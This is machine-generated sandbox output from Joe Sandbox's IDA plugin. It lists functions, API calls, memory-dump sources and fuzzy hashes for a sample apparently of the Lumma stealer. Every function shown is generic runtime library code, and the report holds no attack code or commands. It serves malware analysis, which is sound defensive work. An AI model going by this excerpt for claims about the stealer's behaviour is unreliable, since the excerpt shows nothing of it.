Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: ad52ad70d0844c72dd33a20ebbe2f0756e843d82db780125e89e19fbf5e715cd
Instruction ID: ca3efd479c3562c9d50dfab28e90adb1e2358b42b661a70216105a82bf65a4d4
Opcode Fuzzy Hash: ad52ad70d0844c72dd33a20ebbe2f0756e843d82db780125e89e19fbf5e715cd
Instruction Fuzzy Hash: 23018F31950B19FFDB118F40DC19BEEBBB8FB08B50F044525E811E22D0DFB49940CAA0

Function 00D0EB5A Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00D0EBE1
__alloca_probe_16.LIBCMT ref: 00D0ECA2
__freea.LIBCMT ref: 00D0ED09

Part of subcall function 00D0ADA5: HeapAlloc.KERNEL32(00000000,00000000,?,?,00CF6D22,00000000,?,00CE194C,00000000,?,00CF15D9,00000000), ref: 00D0ADD7

__freea.LIBCMT ref: 00D0ED1E
__freea.LIBCMT ref: 00D0ED2E

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 1269625fca16833c5485cb93879afe56fc84b2863438a22d9ddb71571b6859d3
Instruction ID: 5aab1b6d9ed6b1e4f6301cd92bad6dfcd51298c504713eace8caef87988a02fe
Opcode Fuzzy Hash: 1269625fca16833c5485cb93879afe56fc84b2863438a22d9ddb71571b6859d3
Instruction Fuzzy Hash: FC51AF7260020AAFEB259F65DC81FBB7BA9EF44710F290929FD0CD7291EA71DC109670

Function 00CE9E40 Relevance: 7.7, APIs: 5, Instructions: 162COMMON

Download Yara Rule

APIs

shared_ptr.LIBCMTD ref: 00CE9ED7
task.LIBCPMTD ref: 00CE9EDF

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: shared_ptrtask
String ID:
API String ID: 810089379-0
Opcode ID: 9782ad9c03a72b7af22be43be907e59bb4171965b997a8c7e994740d86380c81
Instruction ID: ab2de405ffc07383f5da78a9e644f9ca5aa23d6799fdf1c67ec0fb73d9dd9ac2
Opcode Fuzzy Hash: 9782ad9c03a72b7af22be43be907e59bb4171965b997a8c7e994740d86380c81
Instruction Fuzzy Hash: B451FAB190018DAFCB04EFA6DC91AEE77B9FF48300F108119F516AB295DB34AE15DB90

Function 00CF62E9 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00CF62FD
AcquireSRWLockExclusive.KERNEL32(?), ref: 00CF631C
AcquireSRWLockExclusive.KERNEL32(?), ref: 00CF634A
TryAcquireSRWLockExclusive.KERNEL32(?), ref: 00CF63A5
TryAcquireSRWLockExclusive.KERNEL32(?), ref: 00CF63BC

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: 264b38ba1169e7d23e2211fcb9ab06a78f4f411383ec065e5e4d8cf58d558708
Instruction ID: 53ef04fc293f512a76dfb7f19353108c849b7ba432f361cf4bab90924563e822
Opcode Fuzzy Hash: 264b38ba1169e7d23e2211fcb9ab06a78f4f411383ec065e5e4d8cf58d558708
Instruction Fuzzy Hash: B9417B3090070ADFCB64DF65C5909BAB7F5FF08314B104629E666C7660D730FA49CB62

Function 00CE4580 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::_Scoped_lock.LIBCMTD ref: 00CE4597
Concurrency::details::_CancellationTokenState::TokenRegistrationContainer::remove.LIBCONCRTD ref: 00CE45B8
atomic_compare_exchange.LIBCONCRTD ref: 00CE45F7

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: Concurrency::details::_Token$CancellationContainer::removeCriticalLock::_ReentrantRegistrationScoped_lockScoped_lock::_State::atomic_compare_exchange
String ID:
API String ID: 3508202619-0
Opcode ID: a67276021ff3b5e11c2d764d945fb760db263cd23634d2334bfad1568ae12e16
Instruction ID: e440ac16812aba7b592ed13699268ce237bb20294b7e4500fb53f2652919db26
Opcode Fuzzy Hash: a67276021ff3b5e11c2d764d945fb760db263cd23634d2334bfad1568ae12e16
Instruction Fuzzy Hash: 4531B971900288ABCB0CEF96CC52BFEB779AF45309F044059F5066B282DF31AB44DBA5

Function 00CEE060 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00CEE06B
int.LIBCPMTD ref: 00CEE07D

Part of subcall function 00CE2550: std::_Lockit::_Lockit.LIBCPMT ref: 00CE2566
Part of subcall function 00CE2550: std::_Lockit::~_Lockit.LIBCPMT ref: 00CE2590

Concurrency::cancel_current_task.LIBCPMTD ref: 00CEE0BD
std::_Lockit::~_Lockit.LIBCPMT ref: 00CEE116

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID:
API String ID: 3053331623-0
Opcode ID: 96da9717f4d82db4d7806982c64d4590f9e6bbf63e05b008c6c5bb2682f174df
Instruction ID: ac539c9d2e289f79a184eac13b60445ffc64353c4858c71776db2560ae7f0e70
Opcode Fuzzy Hash: 96da9717f4d82db4d7806982c64d4590f9e6bbf63e05b008c6c5bb2682f174df
Instruction Fuzzy Hash: 9F211674D00148EBCB04EFA5C8919EEB7B5AF44300F1081A9E526A7391EB30AE45EF91

Function 00CEF1A0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00CEF1AB
int.LIBCPMTD ref: 00CEF1BD

Part of subcall function 00CE2550: std::_Lockit::_Lockit.LIBCPMT ref: 00CE2566
Part of subcall function 00CE2550: std::_Lockit::~_Lockit.LIBCPMT ref: 00CE2590

Concurrency::cancel_current_task.LIBCPMTD ref: 00CEF1FD
std::_Lockit::~_Lockit.LIBCPMT ref: 00CEF256

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID:
API String ID: 3053331623-0
Opcode ID: 67e92055b6f00057f2b394d64da825c6eb51e8cddc8ec2b41bff77bd24ba4e9e
Instruction ID: e86a6fa16f2608e455ec8a280898137000bb31f3e40d9445b26c28273db72bd9
Opcode Fuzzy Hash: 67e92055b6f00057f2b394d64da825c6eb51e8cddc8ec2b41bff77bd24ba4e9e
Instruction Fuzzy Hash: 34212879D00149EFCB04EFA5C8919EEB7B5AF54300F1081A9E516A7395EB30AF41EF91

Function 00CEF5C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00CEF5CB
int.LIBCPMTD ref: 00CEF5DD

Part of subcall function 00CE2550: std::_Lockit::_Lockit.LIBCPMT ref: 00CE2566
Part of subcall function 00CE2550: std::_Lockit::~_Lockit.LIBCPMT ref: 00CE2590

Concurrency::cancel_current_task.LIBCPMTD ref: 00CEF61D
std::_Lockit::~_Lockit.LIBCPMT ref: 00CEF676

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID:
API String ID: 3053331623-0
Opcode ID: 2436df230bdad87e5bbd770141cd6f4c7fb64f9f45bdd83b8144c97741969eb4
Instruction ID: b0f340cb4a879a6711a6809e6012b48b8d5028d521edd031e76ad1bc0239cf9d
Opcode Fuzzy Hash: 2436df230bdad87e5bbd770141cd6f4c7fb64f9f45bdd83b8144c97741969eb4
Instruction Fuzzy Hash: CD212875D00149EFCB04EFA5C8919EEB7B4AF54300F108169E516A7395EA30AF41EF91

Function 00CED810 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00CED81B
int.LIBCPMTD ref: 00CED82D

Part of subcall function 00CE2550: std::_Lockit::_Lockit.LIBCPMT ref: 00CE2566
Part of subcall function 00CE2550: std::_Lockit::~_Lockit.LIBCPMT ref: 00CE2590

Concurrency::cancel_current_task.LIBCPMTD ref: 00CED86D
std::_Lockit::~_Lockit.LIBCPMT ref: 00CED8C6

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID:
API String ID: 3053331623-0
Opcode ID: b498c7093b85a0a5e610ffb7e61710ce806b36f7869215d24398b44d270e2154
Instruction ID: 5b84f2c564ce79168608cc2d96f89708db70f031eaec76e8bbb585de5fafad30
Opcode Fuzzy Hash: b498c7093b85a0a5e610ffb7e61710ce806b36f7869215d24398b44d270e2154
Instruction Fuzzy Hash: 3E211679D00249EFCB08EFA5C8919EEB7B4AF44300F108169E516A7391EB30AF40EF91

Function 00CEDF90 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00CEDF9B
int.LIBCPMTD ref: 00CEDFAD

Part of subcall function 00CE2550: std::_Lockit::_Lockit.LIBCPMT ref: 00CE2566
Part of subcall function 00CE2550: std::_Lockit::~_Lockit.LIBCPMT ref: 00CE2590

Concurrency::cancel_current_task.LIBCPMTD ref: 00CEDFED
std::_Lockit::~_Lockit.LIBCPMT ref: 00CEE046

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID:
API String ID: 3053331623-0
Opcode ID: 8c99e522713d8c6a71393461e33cfe9cf1e8f3716352945bb8f8bb13ff53a043
Instruction ID: 94d6c2b9935da9ce8db2bacf67e5284db74a54c9405be4b7b98db455cdb03b9e
Opcode Fuzzy Hash: 8c99e522713d8c6a71393461e33cfe9cf1e8f3716352945bb8f8bb13ff53a043
Instruction Fuzzy Hash: 9A21D8B5D00149EFCB08EFA5C8919EEB7B5AF54300F108169E516A7391EB30AF45EF91

Function 00CE41F0 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00CE41F9
atomic_compare_exchange.LIBCONCRTD ref: 00CE420E
atomic_compare_exchange.LIBCONCRTD ref: 00CE4239
Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::_Scoped_lock.LIBCMTD ref: 00CE4254

Part of subcall function 00CE8EF0: std::_Mutex_base::~_Mutex_base.LIBCONCRTD ref: 00CE8EFC

std::_Mutex_base::~_Mutex_base.LIBCONCRTD ref: 00CE426E

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: Mutex_baseMutex_base::~_atomic_compare_exchangestd::_$Concurrency::details::_CriticalCurrentLock::_ReentrantScoped_lockScoped_lock::_Thread
String ID:
API String ID: 1421915694-0
Opcode ID: f9dbc43ab776dad8d1df09b33c3ed58361dc91c02b778065acbdf04cede8381e
Instruction ID: 4d828fda88512e0ce69efb1e7d0d8040123dd1a4ce1539175f74d21a63c075f8
Opcode Fuzzy Hash: f9dbc43ab776dad8d1df09b33c3ed58361dc91c02b778065acbdf04cede8381e
Instruction Fuzzy Hash: 90116174D00248EFCB04EBA5CD91BAEB7B5EF54304F208098E50567352DB75AF54DB84

Function 00CF4C3D Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00CF4C44
std::_Lockit::_Lockit.LIBCPMT ref: 00CF4C4F
std::_Lockit::~_Lockit.LIBCPMT ref: 00CF4CBD

Part of subcall function 00CF4DA0: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00CF4DB8

std::locale::_Setgloballocale.LIBCPMT ref: 00CF4C6A
_Yarn.LIBCPMT ref: 00CF4C80

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: a9513d36e69f2096417af770ff0c15d0265dc1700afe7a29cadf7bc9866f4c75
Instruction ID: b38bd94c61adc36b2fd8ff741036ee10346d5d23e72d760531c69f4694d82f10
Opcode Fuzzy Hash: a9513d36e69f2096417af770ff0c15d0265dc1700afe7a29cadf7bc9866f4c75
Instruction Fuzzy Hash: 9501D475A00219ABC74AEF20D8659BEB7A1FF84300B144108EA1197381DF349E82EBD2

Function 00CEBE50 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 322COMMON

Download Yara Rule

APIs

ctype.LIBCPMTD ref: 00CEBF30
task.LIBCPMTD ref: 00CEC1DC
task.LIBCPMTD ref: 00CEC1E4

Strings

@, xrefs: 00CEC04E

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: task$ctype
String ID: @
API String ID: 325817495-2766056989
Opcode ID: eb9491763fa6fc59f2b5c386a7bc050519556fa374f64ba2f80785b5659309ba
Instruction ID: 27df61f99a19c34004e982fc39e8522b22a673447ab0e37b364d371b6c37333f
Opcode Fuzzy Hash: eb9491763fa6fc59f2b5c386a7bc050519556fa374f64ba2f80785b5659309ba
Instruction Fuzzy Hash: 0BD12CB1900289DFCB18DF99D891EEF77B5BF48300F148159F915AB251DB34AE41DB90

Function 00CF3FA5 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCMTD ref: 00CF4059

Strings

RCC, xrefs: 00CF3FE5
csm, xrefs: 00CF3FF1
MOC, xrefs: 00CF3FD9

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: 5db2681dd600cf4686cbd9b47409cc39648dde3293ca1f0ad783d9359e904b0e
Instruction ID: e6094142c223d66eeb951fb60602bce07b267c3b0e7c273eebb63a5ec97413dd
Opcode Fuzzy Hash: 5db2681dd600cf4686cbd9b47409cc39648dde3293ca1f0ad783d9359e904b0e
Instruction Fuzzy Hash: E521AF3150420DEBDF6C9F64D445A7BB7A8EF40720F24461EE7268B290DB749B41C693

Function 00CFB3C7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00CE1867,00000000,00000800,?,00CFB378,?,?,00000000,?,?,?,00CFB4A2,00000002,FlsGetValue,00D1AF40,FlsGetValue), ref: 00CFB3D4
GetLastError.KERNEL32(?,00CFB378,?,?,00000000,?,?,?,00CFB4A2,00000002,FlsGetValue,00D1AF40,FlsGetValue,?,?,00CFA2E5), ref: 00CFB3DE
LoadLibraryExW.KERNEL32(00CE1867,00000000,00000000,?,00CE1867,?), ref: 00CFB406

Strings

api-ms-, xrefs: 00CFB3EB

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: dd18688ca3b4f14194a5cac2ddc0b6a66e66bf9d613a42678d5c65d8124a956b
Instruction ID: a13db455c599b9b9719add846c41a81ac5d73394ac1c570101a7ba3e3bd5aa03
Opcode Fuzzy Hash: dd18688ca3b4f14194a5cac2ddc0b6a66e66bf9d613a42678d5c65d8124a956b
Instruction Fuzzy Hash: 92E01230A8430DBBEF101B51ED16B693F65AB00B80F148020FA0CE85E1EBB1DA5295A5

Function 00D09F1D Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(0EB354B7,00000000,00000000,00000000), ref: 00D09F80

Part of subcall function 00D0EEDA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00D0ECFF,?,00000000,-00000008), ref: 00D0EF86

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00D0A1DB
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00D0A223
GetLastError.KERNEL32 ref: 00D0A2C6

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: e03c108d8bec400fa9163235b59ed0617071be45209f0a6fb5be9314eddc1c2c
Instruction ID: 9f97daab66884dff448a46ce9f5ff9c0533c3ef167672c1ebdff4a4252931f44
Opcode Fuzzy Hash: e03c108d8bec400fa9163235b59ed0617071be45209f0a6fb5be9314eddc1c2c
Instruction Fuzzy Hash: 1CD16975D00258AFCF15CFA8D880AEDBBB5FF08314F19452AE859EB391E731A941CB61

Function 00CFA3DB Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00CFA4A2
___AdjustPointer.LIBCMT ref: 00CFA4C5
___AdjustPointer.LIBCMT ref: 00CFA561

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: ca866092f8af887c6b5eed5bc0b8446fefe00beefbaf8c2a118aa1a45d69e752
Instruction ID: 0d4019a86dbc992089bf14ebc717b689ffa70c2190732c020023061d85692608
Opcode Fuzzy Hash: ca866092f8af887c6b5eed5bc0b8446fefe00beefbaf8c2a118aa1a45d69e752
Instruction Fuzzy Hash: 6B51D5B160460EAFDBA98F11D855BBAF7A4EF00310F14412DEE1A47691D771EE80DB93

Function 00CE65A0 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Concurrency::task_continuation_context::task_continuation_context.LIBCPMTD ref: 00CE662A
Concurrency::task_continuation_context::task_continuation_context.LIBCPMTD ref: 00CE666C
task.LIBCPMTD ref: 00CE66B3
task.LIBCPMTD ref: 00CE66BB

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: Concurrency::task_continuation_context::task_continuation_contexttask
String ID:
API String ID: 605201214-0
Opcode ID: b07251c3191563de3c7d14f551769af678e136e349b84816c2f52e1b807410cf
Instruction ID: 7505e50f6fb4c2a7627f71ddad986d46a7e81320f5c500cdc5172a1fac5cbbbd
Opcode Fuzzy Hash: b07251c3191563de3c7d14f551769af678e136e349b84816c2f52e1b807410cf
Instruction Fuzzy Hash: AA413EB0D10188AFCB08EF96E8919EEBB75FF54344F504029F5166B2A1EF306E55EB50

Function 00CF2D30 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

allocator.LIBCPMTD ref: 00CF2D5B

Part of subcall function 00CE5140: Concurrency::scheduler_ptr::scheduler_ptr.LIBCPMTD ref: 00CE514E

Part of subcall function 00CE5120: Concurrency::cancellation_token_source::cancellation_token_source.LIBCPMTD ref: 00CE5131

Concurrency::cancellation_token::_GetImplValue.LIBCPMTD ref: 00CF2D6E

